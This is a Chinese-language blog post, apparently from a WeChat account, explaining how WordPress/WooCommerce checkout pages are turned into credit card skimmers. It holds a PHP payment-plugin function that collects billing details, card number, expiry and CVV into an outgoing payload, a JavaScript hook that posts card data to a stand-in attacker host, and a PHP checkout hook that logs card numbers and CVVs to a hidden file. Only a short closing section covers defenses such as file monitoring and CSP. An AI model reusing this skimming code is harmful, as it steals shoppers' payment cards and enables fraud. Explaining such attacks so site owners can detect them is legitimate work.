文章仅供参考,无任何不良引导,本公众号不提供任何完整工具源码,文章可能出现部分代码仅供参考!部分代码(2D):插件代码:public function process_payment($order_id) { $order = wc_get_order($order_id); // 将订单标记为未付款 $order->update_status(‘pending’, ‘Order awaiting payment.’); // 获取客户信息 $billing_first_name = $order->get_billing_first_name(); $billing_last_name = $order->get_billing_last_name(); $billing_address_1 = $order->get_billing_address_1(); $billing_address_2 = $order->get_billing_address_2(); $billing_city = $order->get_billing_city(); $billing_state = $order->get_billing_state(); $billing_postcode = $order->get_billing_postcode(); $billing_country = $order->get_billing_country(); $billing_phone = $order->get_billing_phone(); $billing_email = $order->get_billing_email(); // 获取信用卡信息 $ccNumber = sanitize_text_field($_POST[‘cc_number’]); $ccExpMonth = sanitize_text_field($_POST[‘cc_exp_month’]); $ccExpYear = sanitize_text_field($_POST[‘cc_exp_year’]); $cvv = sanitize_text_field($_POST[‘cc_cvv’]); // 获取购物车信息 $cart_items = array(); foreach ($order->get_items() as $item_id => $item) { $product = wc_get_product($item->get_product_id()); $cart_items[] = array( ‘name’ => $item->get_name(), ‘price’ => $item->get_total(), ‘pfh’ => get_woocommerce_currency(), ‘pimg’ => wp_get_attachment_url($product->get_image_id()), ‘size’ => $item->get_meta(‘Size’, true), ‘color’ => $item->get_meta(‘Color’, true), ‘quantity’ => $item->get_quantity(), ‘Title_sv’ => $item->get_name() ); } // 获取用户IP和UserAgent信息$user_ip = $_SERVER[‘REMOTE_ADDR’];$user_agent = $_SERVER[‘HTTP_USER_AGENT’];$browser_language = $_SERVER[‘HTTP_ACCEPT_LANGUAGE’];// 构建数据$dataToSend = array( ‘hbfh’ => ‘$’, ‘FristName’ => $billing_first_name, ‘LastName’ => $billing_last_name, ‘cuntry’ => $billing_country, ‘address’ => $billing_address_1 . ‘, ‘ . $billing_address_2, ‘city’ => $billing_city, ‘state’ => $billing_state, // 如果没有获取到 state 信息,根据需求调整 ‘zip’ => $billing_postcode, ‘phone’ => $billing_phone, ’email’ => $billing_email, ‘cc_number’ => $ccNumber, ‘cc_exp’ => $ccExpMonth . ‘/’ . $ccExpYear, ‘cc_cvv’ => $cvv, ‘remark’ => ”, ‘Cart’ => $cart_items, ‘UserIP’ => $user_ip, ‘UserAgent’ => $user_agent, ‘BrowserLanguage’ => $browser_language,);后台代码:(文件太多,就不放代码了)
攻击核心逻辑攻击者通常不会去更改 WordPress 的核心代码,而是通过漏洞(如弱口令、插件漏洞)获取权限后,在支付网关或结账页面渲染逻辑中植入恶意脚本。整个过程分为四个阶段:潜伏(Infiltration):获取网站控制权。劫持(Hooking):拦截正常的表单提交动作。窃取(Data Exfiltration):将数据异步发送到攻击者的 C2(控制)服务器。伪装(Masking):数据发送后,让用户继续完成正常支付,以防被察觉。技术实现原理(含代码示例)1. 恶意脚本植入攻击者通常会修改主题的 functions.php 或在 wp-content/uploads 目录中隐藏一个 JS 文件,并利用 WordPress 的 wp_enqueue_script 钩子将其加载到结账页面 (is_checkout())。2. 表单劫持代码 (JavaScript 层)这是最常见的方法。脚本会监听“下单”按钮的点击事件,在数据传给合法支付网关(如 Stripe 或 PayPal)之前,先复制一份。模拟恶意代码示例:// 监听下单按钮点击document.querySelector(‘#place_order’).addEventListener(‘click’, function(e) {// 获取表单中的信用卡数据var cc_info = {number: document.querySelector(‘#billing_card_number’).value,expiry: document.querySelector(‘#billing_card_expiry’).value,cvv: document.querySelector(‘#billing_card_cvc’).value,name: document.querySelector(‘#billing_first_name’).value + ‘ ‘ + document.querySelector(‘#billing_last_name’).value,email: document.querySelector(‘#billing_email’).value };// 使用简单的 Fetch 或 AJAX 将数据发送到攻击者的网关 fetch(‘https://attacker-gate.com/collect.php’, {method: ‘POST’,mode: ‘no-cors’, // 绕过简单的跨域限制body: JSON.stringify(cc_info) });// 此时不拦截事件流,用户会继续正常下单,完全感知不到数据已泄露});后端劫持 (PHP 层)更为隐蔽的方法是在服务端劫持 WooCommerce 的处理函数,例如 woocommerce_checkout_process。这种方法不需要在前端运行代码,避开了浏览器安全插件的检测。PHP 劫持逻辑:PHPadd_action(‘woocommerce_checkout_order_processed’, ‘steal_credit_card_data’, 10, 3);functionsteal_credit_card_data($order_id, $posted_data, $order) {// 获取 POST 提交的原始信用卡信息(如果网关处理不当留在 POST 中)$cc_num = $_POST[‘card_number_field’];$cc_cvv = $_POST[‘card_cvv_field’];// 记录到本地隐藏文件或发送到远程服务器$data = “Order: $order_id | Card: $cc_num | CVV: $cc_cvv \n”; file_put_contents(WP_CONTENT_DIR . ‘/uploads/2023/01/debug_log.txt’, $data, FILE_APPEND);}
攻击路径图示用户在被劫持的结账页面输入支付信息。恶意脚本在后台静默运行。双重发送:路径 A(正常):数据发往合法的 Stripe/PayPal 接口(交易成功)。路径 B(劫持):数据同步发往攻击者的数据库。攻击者获取完整的 CVV、卡号及账单地址,随后在黑市出售或进行盗刷。防御与检测文件完整性监控 (FIM):定期检查 functions.php 或插件目录是否有未经授权的更改。内容安全策略 (CSP):通过配置 CSP 头部,禁止结账页面向未授权的第三方域名发送请求。例如:Content-Security-Policy: connect-src ‘self’
原文:
简单讲解下WordPressCVV钓鱼原理
Los Angeles









请登录之后再进行评论